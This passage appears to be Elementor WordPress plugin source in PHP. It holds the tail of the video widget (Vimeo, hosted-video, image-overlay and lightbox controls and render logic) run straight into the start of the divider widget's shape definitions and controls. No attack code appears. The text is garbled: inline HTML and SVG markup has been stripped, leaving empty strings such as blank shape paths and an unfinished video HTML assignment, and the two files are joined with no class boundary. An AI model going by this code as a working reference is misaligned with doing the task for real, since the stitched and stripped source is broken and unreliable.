esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type' => 'vimeo', ], ] ); $this->add_control( 'vimeo_byline', [ 'label' => esc_html__( 'Intro Byline', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'default' => 'yes', 'condition' => [ 'video_type' => 'vimeo', ], ] ); $this->add_control( 'color', [ 'label' => esc_html__( 'Controls Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'default' => '', 'condition' => [ 'video_type' => [ 'vimeo', 'dailymotion' ], ], ] ); $this->add_control( 'download_button', [ 'label' => esc_html__( 'Download Button', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'condition' => [ 'video_type' => 'hosted', ], ] ); $this->add_control( 'preload', [ 'label' => esc_html__( 'Preload', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'metadata' => esc_html__( 'Metadata', 'elementor' ), 'auto' => esc_html__( 'Auto', 'elementor' ), 'none' => esc_html__( 'None', 'elementor' ), ], 'description' => sprintf( '%1$s %2$s', esc_html__( 'Preload attribute lets you specify how the video should be loaded when the page loads.', 'elementor' ), esc_html__( 'Learn more', 'elementor' ), ), 'default' => 'metadata', 'condition' => [ 'video_type' => 'hosted', 'autoplay' => '', ], ] ); $this->add_control( 'poster', [ 'label' => esc_html__( 'Poster', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'dynamic' => [ 'active' => true, ], 'condition' => [ 'video_type' => 'hosted', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_image_overlay', [ 'label' => esc_html__( 'Image Overlay', 'elementor' ), ] ); $this->add_control( 'show_image_overlay', [ 'label' => esc_html__( 'Image Overlay', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'frontend_available' => true, ] ); $this->add_control( 'image_overlay', [ 'label' => esc_html__( 'Choose Image', 'elementor' ), 'type' => Controls_Manager::MEDIA, 'default' => [ 'url' => Utils::get_placeholder_image_src(), ], 'dynamic' => [ 'active' => true, ], 'condition' => [ 'show_image_overlay' => 'yes', ], 'frontend_available' => true, ] ); $this->add_group_control( Group_Control_Image_Size::get_type(), [ 'name' => 'image_overlay', // Usage: `{name}_size` and `{name}_custom_dimension`, in this case `image_overlay_size` and `image_overlay_custom_dimension`. 'default' => 'full', 'condition' => [ 'show_image_overlay' => 'yes', ], ] ); $this->add_control( 'show_play_icon', [ 'label' => esc_html__( 'Play Icon', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'default' => 'yes', 'label_off' => esc_html__( 'Hide', 'elementor' ), 'label_on' => esc_html__( 'Show', 'elementor' ), 'separator' => 'before', 'condition' => [ 'show_image_overlay' => 'yes', 'image_overlay[url]!' => '', ], ] ); $this->add_control( 'play_icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'fa4compatibility' => 'icon', 'skin' => 'inline', 'label_block' => false, 'skin_settings' => [ 'inline' => [ 'none' => [ 'label' => 'Default', 'icon' => 'eicon-play', ], 'icon' => [ 'icon' => 'eicon-star', ], ], ], 'recommended' => [ 'fa-regular' => [ 'play-circle', ], 'fa-solid' => [ 'play', 'play-circle', ], ], 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon!' => '', ], ] ); $this->add_control( 'lightbox', [ 'label' => esc_html__( 'Lightbox', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'frontend_available' => true, 'label_off' => esc_html__( 'Off', 'elementor' ), 'label_on' => esc_html__( 'On', 'elementor' ), 'condition' => [ 'show_image_overlay' => 'yes', 'image_overlay[url]!' => '', ], 'separator' => 'before', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_video_style', [ 'label' => esc_html__( 'Video', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'aspect_ratio', [ 'label' => esc_html__( 'Aspect Ratio', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ '169' => '16:9', '219' => '21:9', '43' => '4:3', '32' => '3:2', '11' => '1:1', '916' => '9:16', ], 'selectors_dictionary' => [ '169' => '1.77777', // 16 / 9 '219' => '2.33333', // 21 / 9 '43' => '1.33333', // 4 / 3 '32' => '1.5', // 3 / 2 '11' => '1', // 1 / 1 '916' => '0.5625', // 9 / 16 ], 'default' => '169', 'selectors' => [ '{{WRAPPER}} .elementor-wrapper' => '--video-aspect-ratio: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Css_Filter::get_type(), [ 'name' => 'css_filters', 'selector' => '{{WRAPPER}} .elementor-wrapper', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_image_overlay_style', [ 'label' => esc_html__( 'Image Overlay', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon' => 'yes', ], ] ); $this->add_control( 'play_icon_title', [ 'label' => esc_html__( 'Play Icon', 'elementor' ), 'type' => Controls_Manager::HEADING, 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon' => 'yes', ], ] ); $this->add_control( 'play_icon_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .elementor-custom-embed-play i' => 'color: {{VALUE}}', '{{WRAPPER}} .elementor-custom-embed-play svg' => 'fill: {{VALUE}}', ], 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon' => 'yes', ], ] ); $this->add_responsive_control( 'play_icon_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'min' => 10, 'max' => 300, ], ], 'selectors' => [ // Not using a CSS vars because the default size value is coming from a global scss file. '{{WRAPPER}} .elementor-custom-embed-play i' => 'font-size: {{SIZE}}{{UNIT}}', '{{WRAPPER}} .elementor-custom-embed-play svg' => 'width: {{SIZE}}{{UNIT}}; height: {{SIZE}}{{UNIT}};', ], 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon' => 'yes', ], ] ); $this->add_group_control( Group_Control_Text_Shadow::get_type(), [ 'name' => 'play_icon_text_shadow', 'selector' => '{{WRAPPER}} .elementor-custom-embed-play i', 'fields_options' => [ 'text_shadow_type' => [ 'label' => esc_html__( 'Shadow', 'elementor' ), ], ], 'condition' => [ 'show_image_overlay' => 'yes', 'show_play_icon' => 'yes', 'play_icon[library]!' => 'svg', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_lightbox_style', [ 'label' => esc_html__( 'Lightbox', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'show_image_overlay' => 'yes', 'image_overlay[url]!' => '', 'lightbox' => 'yes', ], ] ); $this->add_control( 'lightbox_color', [ 'label' => esc_html__( 'Background Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '#elementor-lightbox-{{ID}}' => 'background-color: {{VALUE}};', ], ] ); $this->add_control( 'lightbox_ui_color', [ 'label' => esc_html__( 'UI Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '#elementor-lightbox-{{ID}} .dialog-lightbox-close-button' => 'color: {{VALUE}}', '#elementor-lightbox-{{ID}} .dialog-lightbox-close-button svg' => 'fill: {{VALUE}}', ], ] ); $this->add_control( 'lightbox_ui_color_hover', [ 'label' => esc_html__( 'UI Hover Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '#elementor-lightbox-{{ID}} .dialog-lightbox-close-button:hover' => 'color: {{VALUE}}', '#elementor-lightbox-{{ID}} .dialog-lightbox-close-button:hover svg' => 'fill: {{VALUE}}', ], ] ); $this->add_responsive_control( 'lightbox_content_animation', [ 'label' => esc_html__( 'Entrance Animation', 'elementor' ), 'type' => Controls_Manager::ANIMATION, 'frontend_available' => true, 'separator' => 'before', ] ); $this->add_control( 'deprecation_warning', [ 'type' => Controls_Manager::ALERT, 'alert_type' => 'danger', 'content' => esc_html__( 'Note: These controls have been deprecated and are only visible if they were previously in use. The video’s width and position are now set based on its aspect ratio.', 'elementor' ), 'separator' => 'before', 'condition' => [ 'lightbox_video_width!' => '', 'lightbox_content_position!' => '', ], ] ); // Deprecated control. Visible only if it was previously in use. $this->add_control( 'lightbox_video_width', [ 'label' => esc_html__( 'Content Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'default' => [ 'unit' => '%', ], // 'selectors' => [ // '(desktop+)#elementor-lightbox-{{ID}} .elementor-video-container' => 'width: {{SIZE}}{{UNIT}};', // ], 'condition' => [ 'lightbox_video_width!' => '', 'lightbox_content_position!' => '', ], ] ); // Deprecated control. Visible only if it was previously in use. $this->add_control( 'lightbox_content_position', [ 'label' => esc_html__( 'Content Position', 'elementor' ), 'type' => Controls_Manager::SELECT, 'frontend_available' => true, 'options' => [ '' => esc_html__( 'Center', 'elementor' ), 'top' => esc_html__( 'Top', 'elementor' ), ], // 'selectors' => [ // '#elementor-lightbox-{{ID}} .elementor-video-container' => '{{VALUE}}; transform: translateX(-50%);', // ], 'selectors_dictionary' => [ 'top' => 'top: 60px', ], 'condition' => [ 'lightbox_video_width!' => '', 'lightbox_content_position!' => '', ], ] ); $this->end_controls_section(); } public function print_a11y_text( $image_overlay ) { if ( empty( $image_overlay['alt'] ) ) { echo esc_html__( 'Play Video', 'elementor' ); } else { echo esc_html__( 'Play Video about', 'elementor' ) . ' ' . esc_attr( $image_overlay['alt'] ); } } /** * Render video widget output on the frontend. * * Written in PHP and used to generate the final HTML. * * @since 1.0.0 * @access protected */ protected function render() { $settings = $this->get_settings_for_display(); $video_url = $settings[ $settings['video_type'] . '_url' ]; if ( 'hosted' === $settings['video_type'] ) { $video_url = $this->get_hosted_video_url(); } else { if ( 'videopress' === $settings['video_type'] ) { $video_url = $this->get_videopress_video_url(); } $embed_params = $this->get_embed_params(); $embed_options = $this->get_embed_options(); } if ( empty( $video_url ) ) { return; } if ( 'youtube' === $settings['video_type'] ) { $video_html = '
'; } if ( 'hosted' === $settings['video_type'] ) { $this->add_render_attribute( 'video-wrapper', 'class', 'e-hosted-video' ); ob_start(); $this->render_hosted_video(); $video_html = ob_get_clean(); } else { $is_static_render_mode = Plugin::$instance->frontend->is_static_render_mode(); $post_id = get_queried_object_id(); if ( $is_static_render_mode ) { $video_html = Embed::get_embed_thumbnail_html( $video_url, $post_id ); // YouTube API requires a different markup which was set above. } else if ( 'youtube' !== $settings['video_type'] ) { $video_html = Embed::get_embed_html( $video_url, $embed_params, $embed_options ); } } if ( empty( $video_html ) ) { echo esc_url( $video_url ); return; } $this->add_render_attribute( 'video-wrapper', 'class', 'elementor-wrapper' ); $this->add_render_attribute( 'video-wrapper', 'class', 'elementor-open-' . ( $settings['lightbox'] ? 'lightbox' : 'inline' ) ); ?>
print_render_attribute_string( 'video-wrapper' ); ?>> has_image_overlay() ) { $this->add_render_attribute( 'image-overlay', 'class', 'elementor-custom-embed-image-overlay' ); if ( $settings['lightbox'] ) { if ( 'hosted' === $settings['video_type'] ) { $lightbox_url = $video_url; } else { $lightbox_url = Embed::get_embed_url( $video_url, $embed_params, $embed_options ); } $lightbox_options = [ 'type' => 'video', 'videoType' => $settings['video_type'], 'url' => $lightbox_url, 'autoplay' => $settings['autoplay'], 'modalOptions' => [ 'id' => 'elementor-lightbox-' . $this->get_id(), 'entranceAnimation' => $settings['lightbox_content_animation'], 'entranceAnimation_tablet' => $settings['lightbox_content_animation_tablet'], 'entranceAnimation_mobile' => $settings['lightbox_content_animation_mobile'], 'videoAspectRatio' => $settings['aspect_ratio'] ?? '169', ], ]; if ( 'hosted' === $settings['video_type'] ) { $lightbox_options['videoParams'] = $this->get_hosted_params(); } $this->add_render_attribute( 'image-overlay', [ 'data-elementor-open-lightbox' => 'yes', 'data-elementor-lightbox' => wp_json_encode( $lightbox_options ), 'data-e-action-hash' => Plugin::instance()->frontend->create_action_hash( 'lightbox', $lightbox_options ), ] ); if ( Plugin::$instance->editor->is_edit_mode() ) { $this->add_render_attribute( 'image-overlay', [ 'class' => 'elementor-clickable', ] ); } } else { // When there is an image URL but no ID, it means the overlay image is the placeholder. In this case, get the placeholder URL. if ( empty( $settings['image_overlay']['id'] && ! empty( $settings['image_overlay']['url'] ) ) ) { $image_url = $settings['image_overlay']['url']; } else { $image_url = Group_Control_Image_Size::get_attachment_image_src( $settings['image_overlay']['id'], 'image_overlay', $settings ); } $this->add_render_attribute( 'image-overlay', 'style', 'background-image: url(' . $image_url . ');' ); } ?>
print_render_attribute_string( 'image-overlay' ); ?>>
'eicons', 'value' => 'eicon-play', ]; } Icons_Manager::render_icon( $settings['play_icon'], [ 'aria-hidden' => 'true' ] ); ?> print_a11y_text( $settings['image_overlay'] ); ?>
get_settings_for_display(); if ( 'hosted' !== $settings['video_type'] ) { $url = $settings[ $settings['video_type'] . '_url' ]; } else { $url = $this->get_hosted_video_url(); } echo esc_url( $url ); } /** * Get embed params. * * Retrieve video widget embed parameters. * * @since 1.5.0 * @access public * * @return array Video embed parameters. */ public function get_embed_params() { $settings = $this->get_settings_for_display(); $params = []; if ( $settings['autoplay'] && ! $this->has_image_overlay() ) { $params['autoplay'] = '1'; if ( $settings['play_on_mobile'] ) { $params['playsinline'] = '1'; } } $params_dictionary = []; if ( 'youtube' === $settings['video_type'] ) { $params_dictionary = [ 'loop', 'controls', 'mute', 'rel', 'modestbranding', ]; if ( $settings['loop'] ) { $video_properties = Embed::get_video_properties( $settings['youtube_url'] ); $params['playlist'] = $video_properties['video_id']; } $params['start'] = $settings['start']; $params['end'] = $settings['end']; $params['wmode'] = 'opaque'; } elseif ( 'vimeo' === $settings['video_type'] ) { $params_dictionary = [ 'loop', 'mute' => 'muted', 'vimeo_title' => 'title', 'vimeo_portrait' => 'portrait', 'vimeo_byline' => 'byline', ]; $params['color'] = str_replace( '#', '', $settings['color'] ); $params['autopause'] = '0'; if ( ! empty( $settings['yt_privacy'] ) ) { $params['dnt'] = 'true'; } } elseif ( 'dailymotion' === $settings['video_type'] ) { $params_dictionary = [ 'controls', 'mute', 'showinfo' => 'ui-start-screen-info', 'logo' => 'ui-logo', ]; $params['ui-highlight'] = str_replace( '#', '', $settings['color'] ); $params['start'] = $settings['start']; $params['endscreen-enable'] = '0'; } elseif ( 'videopress' === $settings['video_type'] ) { $params_dictionary = $this->get_params_dictionary_for_videopress(); $params['at'] = $settings['start']; } foreach ( $params_dictionary as $key => $param_name ) { $setting_name = $param_name; if ( is_string( $key ) ) { $setting_name = $key; } $setting_value = $settings[ $setting_name ] ? '1' : '0'; $params[ $param_name ] = $setting_value; } return $params; } /** * Whether the video widget has an overlay image or not. * * Used to determine whether an overlay image was set for the video. * * @since 1.0.0 * @access protected * * @return bool Whether an image overlay was set for the video. */ protected function has_image_overlay() { $settings = $this->get_settings_for_display(); return ! empty( $settings['image_overlay']['url'] ) && 'yes' === $settings['show_image_overlay']; } /** * @since 2.1.0 * @access private */ private function get_embed_options() { $settings = $this->get_settings_for_display(); $embed_options = []; if ( 'youtube' === $settings['video_type'] ) { $embed_options['privacy'] = $settings['yt_privacy']; } elseif ( 'vimeo' === $settings['video_type'] ) { $embed_options['start'] = $settings['start']; } $embed_options['lazy_load'] = ! empty( $settings['lazy_load'] ); return $embed_options; } /** * @since 2.1.0 * @access private */ private function get_hosted_params() { $settings = $this->get_settings_for_display(); $video_params = []; foreach ( [ 'autoplay', 'loop', 'controls' ] as $option_name ) { if ( $settings[ $option_name ] ) { $video_params[ $option_name ] = ''; } } if ( $settings['preload'] ) { $video_params['preload'] = $settings['preload']; } if ( $settings['mute'] ) { $video_params['muted'] = 'muted'; } if ( $settings['play_on_mobile'] ) { $video_params['playsinline'] = ''; } if ( ! $settings['download_button'] ) { $video_params['controlsList'] = 'nodownload'; } if ( $settings['poster']['url'] ) { $video_params['poster'] = $settings['poster']['url']; } return $video_params; } /** * @param bool $from_media * * @return string * @since 2.1.0 * @access private */ private function get_hosted_video_url() { $settings = $this->get_settings_for_display(); if ( ! empty( $settings['insert_url'] ) ) { $video_url = $settings['external_url']['url']; } else { $video_url = $settings['hosted_url']['url']; } if ( empty( $video_url ) ) { return ''; } if ( $settings['start'] || $settings['end'] ) { $video_url .= '#t='; } if ( $settings['start'] ) { $video_url .= $settings['start']; } if ( $settings['end'] ) { $video_url .= ',' . $settings['end']; } return $video_url; } /** * Get the VideoPress video URL from the current selected settings. * * @return string */ private function get_videopress_video_url() { $settings = $this->get_settings_for_display(); if ( ! empty( $settings['insert_url'] ) ) { return $settings['videopress_url']; } return $settings['hosted_url']['url']; } /** * Get the params dictionary for VideoPress videos. * * @return array */ private function get_params_dictionary_for_videopress() { return [ 'controls', 'autoplay' => 'autoPlay', 'mute' => 'muted', 'loop', 'play_on_mobile' => 'playsinline', ]; } /** * * @since 2.1.0 * @access private */ private function render_hosted_video() { $video_url = $this->get_hosted_video_url(); if ( empty( $video_url ) ) { return; } $video_params = $this->get_hosted_params(); /* Sometimes the video url is base64, therefore we use `esc_attr` in `src`. */ ?> [ 'label' => esc_html_x( 'Curly', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'line', ], 'curved' => [ 'label' => esc_html_x( 'Curved', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'line', ], 'multiple' => [ 'label' => esc_html_x( 'Multiple', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => false, 'round' => false, 'group' => 'pattern', ], 'slashes' => [ 'label' => esc_html_x( 'Slashes', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'view_box' => '0 0 20 16', 'group' => 'line', ], 'squared' => [ 'label' => esc_html_x( 'Squared', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'line', ], 'wavy' => [ 'label' => esc_html_x( 'Wavy', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'line', ], 'zigzag' => [ 'label' => esc_html_x( 'Zigzag', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'line', ], 'arrows' => [ 'label' => esc_html_x( 'Arrows', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => true, 'round' => true, 'group' => 'pattern', ], 'pluses' => [ 'label' => esc_html_x( 'Pluses', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => true, 'round' => false, 'group' => 'pattern', ], 'rhombus' => [ 'label' => esc_html_x( 'Rhombus', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'pattern', ], 'parallelogram' => [ 'label' => esc_html_x( 'Parallelogram', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => false, 'group' => 'pattern', ], 'rectangles' => [ 'label' => esc_html_x( 'Rectangles', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => false, 'supports_amount' => true, 'round' => true, 'group' => 'pattern', 'view_box' => '0 0 60 30', ], 'dots_tribal' => [ 'label' => esc_html_x( 'Dots', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 126 26', ], 'trees_2_tribal' => [ 'label' => esc_html_x( 'Fir Tree', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 126 26', ], 'rounds_tribal' => [ 'label' => esc_html_x( 'Half Rounds', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 120 26', ], 'leaves_tribal' => [ 'label' => esc_html_x( 'Leaves', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 117 26', ], 'stripes_tribal' => [ 'label' => esc_html_x( 'Stripes', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 120 26', ], 'squares_tribal' => [ 'label' => esc_html_x( 'Squares', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 126 26', ], 'trees_tribal' => [ 'label' => esc_html_x( 'Trees', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 123 26', ], 'planes_tribal' => [ 'label' => esc_html_x( 'Tribal', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 121 26', ], 'x_tribal' => [ 'label' => esc_html_x( 'X', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 126 26', ], 'zigzag_tribal' => [ 'label' => esc_html_x( 'Zigzag', 'Shapes', 'elementor' ), 'shape' => '', 'preserve_aspect_ratio' => true, 'supports_amount' => false, 'round' => false, 'group' => 'tribal', 'view_box' => '0 0 120 26', ], ] ); } private function filter_styles_by( $array, $key, $value ) { return array_filter( $array, function( $style ) use ( $key, $value ) { return $value === $style[ $key ]; } ); } private function get_options_by_groups( $styles, $group = false ) { $groups = [ 'line' => [ 'label' => esc_html__( 'Line', 'elementor' ), 'options' => [ 'solid' => esc_html__( 'Solid', 'elementor' ), 'double' => esc_html__( 'Double', 'elementor' ), 'dotted' => esc_html__( 'Dotted', 'elementor' ), 'dashed' => esc_html__( 'Dashed', 'elementor' ), ], ], ]; foreach ( $styles as $key => $style ) { if ( ! isset( $groups[ $style['group'] ] ) ) { $groups[ $style['group'] ] = [ 'label' => ucwords( str_replace( '_', '', $style['group'] ) ), 'options' => [], ]; } $groups[ $style['group'] ]['options'][ $key ] = $style['label']; } if ( $group && isset( $groups[ $group ] ) ) { return $groups[ $group ]; } return $groups; } /** * Register divider widget controls. * * Adds different input fields to allow the user to change and customize the widget settings. * * @since 3.1.0 * @access protected */ protected function register_controls() { $styles = $this->get_separator_styles(); $this->start_controls_section( 'section_divider', [ 'label' => esc_html__( 'Divider', 'elementor' ), ] ); $this->add_control( 'style', [ 'label' => esc_html__( 'Style', 'elementor' ), 'type' => Controls_Manager::SELECT, 'groups' => array_values( $this->get_options_by_groups( $styles ) ), 'render_type' => 'template', 'default' => 'solid', 'selectors' => [ '{{WRAPPER}}' => '--divider-border-style: {{VALUE}}', ], ] ); $this->add_control( 'separator_type', [ 'type' => Controls_Manager::HIDDEN, 'default' => 'pattern', 'prefix_class' => 'elementor-widget-divider--separator-type-', 'condition' => [ 'style!' => [ '', 'solid', 'double', 'dotted', 'dashed', ], ], 'render_type' => 'template', ] ); $this->add_control( 'pattern_spacing_flag', [ 'type' => Controls_Manager::HIDDEN, 'default' => 'no-spacing', 'prefix_class' => 'elementor-widget-divider--', 'condition' => [ 'style' => array_keys( $this->filter_styles_by( $styles, 'supports_amount', false ) ), ], 'render_type' => 'template', ] ); $this->add_control( 'pattern_round_flag', [ 'type' => Controls_Manager::HIDDEN, 'default' => 'bg-round', 'prefix_class' => 'elementor-widget-divider--', 'condition' => [ 'style' => array_keys( $this->filter_styles_by( $styles, 'round', true ) ), ], ] ); $this->add_responsive_control( 'width', [ 'label' => esc_html__( 'Width', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'max' => 1000, ], ], 'default' => [ 'size' => 100, 'unit' => '%', ], 'tablet_default' => [ 'unit' => '%', ], 'mobile_default' => [ 'unit' => '%', ], 'selectors' => [ '{{WRAPPER}} .elementor-divider-separator' => 'width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'align', [ 'label' => esc_html__( 'Alignment', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-text-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-text-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-text-align-right', ], ], 'selectors' => [ '{{WRAPPER}} .elementor-divider' => 'text-align: {{VALUE}}', '{{WRAPPER}} .elementor-divider-separator' => 'margin: 0 auto; margin-{{VALUE}}: 0', ], ] ); $this->add_control( 'look', [ 'label' => esc_html__( 'Add Element', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'default' => 'line', 'options' => [ 'line' => [ 'title' => esc_html__( 'None', 'elementor' ), 'icon' => 'eicon-ban', ], 'line_text' => [ 'title' => esc_html__( 'Text', 'elementor' ), 'icon' => 'eicon-t-letter-bold', ], 'line_icon' => [ 'title' => esc_html__( 'Icon', 'elementor' ), 'icon' => 'eicon-star', ], ], 'separator' => 'before', 'prefix_class' => 'elementor-widget-divider--view-', 'toggle' => false, 'render_type' => 'template', ] ); $this->add_control( 'text', [ 'label' => esc_html__( 'Text', 'elementor' ), 'type' => Controls_Manager::TEXT, 'condition' => [ 'look' => 'line_text', ], 'default' => esc_html__( 'Divider', 'elementor' ), 'dynamic' => [ 'active' => true, ], ] ); $this->add_control( 'html_tag', [ 'label' => esc_html__( 'HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'condition' => [ 'look' => 'line_text', ], 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => 'span', ] ); $this->add_control( 'icon', [ 'label' => esc_html__( 'Icon', 'elementor' ), 'type' => Controls_Manager::ICONS, 'default' => [ 'value' => 'fas fa-star', 'library' => 'fa-solid', ], 'condition' => [ 'look' => 'line_icon', ], ] ); $this->end_controls_section(); $this->start_controls_section( 'section_divider_style', [ 'label' => esc_html__( 'Divider', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'style!' => 'none', ], ] ); $this->add_control( 'color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'global' => [ 'default' => Global_Colors::COLOR_SECONDARY, ], 'default' => '#000', 'render_type' => 'template', 'selectors' => [ '{{WRAPPER}}' => '--divider-color: {{VALUE}}', ], ] ); $this->add_control( 'weight', [ 'label' => esc_html__( 'Weight', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', 'em', 'rem', 'custom' ], 'default' => [ 'size' => 1, ], 'range' => [ 'px' => [ 'min' => 1, 'max' => 10, 'step' => 0.1, ], 'em' => [ 'min' => 0.1, 'max' => 1, ], 'rem' => [ 'min' => 0.1, 'max' => 1, ], ], 'render_type' => 'template', 'condition' => [ 'style' => array_keys( $this->get_options_by_groups( $styles, 'line' )['options'] ), ], 'selectors' => [ '{{WRAPPER}}' => '--divider-border-width: {{SIZE}}{{UNIT}}', ], ] ); $this->add_control( 'pattern_height', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'selectors' => [ '{{WRAPPER}}' => '--divider-pattern-height: {{SIZE}}{{UNIT}}', ], 'default' => [ 'size' => 20, ], 'range' => [ 'px' => [ 'step' => 0.1, ], ], 'condition' => [ 'style!' => [ '', 'solid', 'double', 'dotted', 'dashed', ], ], ] ); $this->add_control( 'pattern_size', [ 'label' => esc_html__( 'Amount', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'selectors' => [ '{{WRAPPER}}' => '--divider-pattern-size: {{SIZE}}{{UNIT}}', ], 'default' => [ 'size' => 20, ], 'range' => [ 'px' => [ 'step' => 0.1, ], '%' => [ 'step' => 0.01, ], ], 'condition' => [ 'style!' => array_merge( array_keys( $this->filter_styles_by( $styles, 'supports_amount', false ) ), [ '', 'solid', 'double', 'dotted', 'dashed', ] ), ], ] ); $this->add_responsive_control( 'gap', [ 'label' => esc_html__( 'Gap', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'default' => [ 'size' => 15, ], 'range' => [ 'px' => [ 'min' => 2, 'max' => 50, ], ], 'selectors' => [ '{{WRAPPER}} .elementor-divider' => 'padding-block-start: {{SIZE}}{{UNIT}}; padding-block-end: {{SIZE}}{{UNIT}};', ], 'separator' => 'before', ] ); $this->end_controls_section(); $this->start_controls_section( 'section_text_style', [ 'label' => esc_html__( 'Text', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, 'condition' => [ 'look' => 'line_text', ], ] ); $this->add_control( 'text_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => 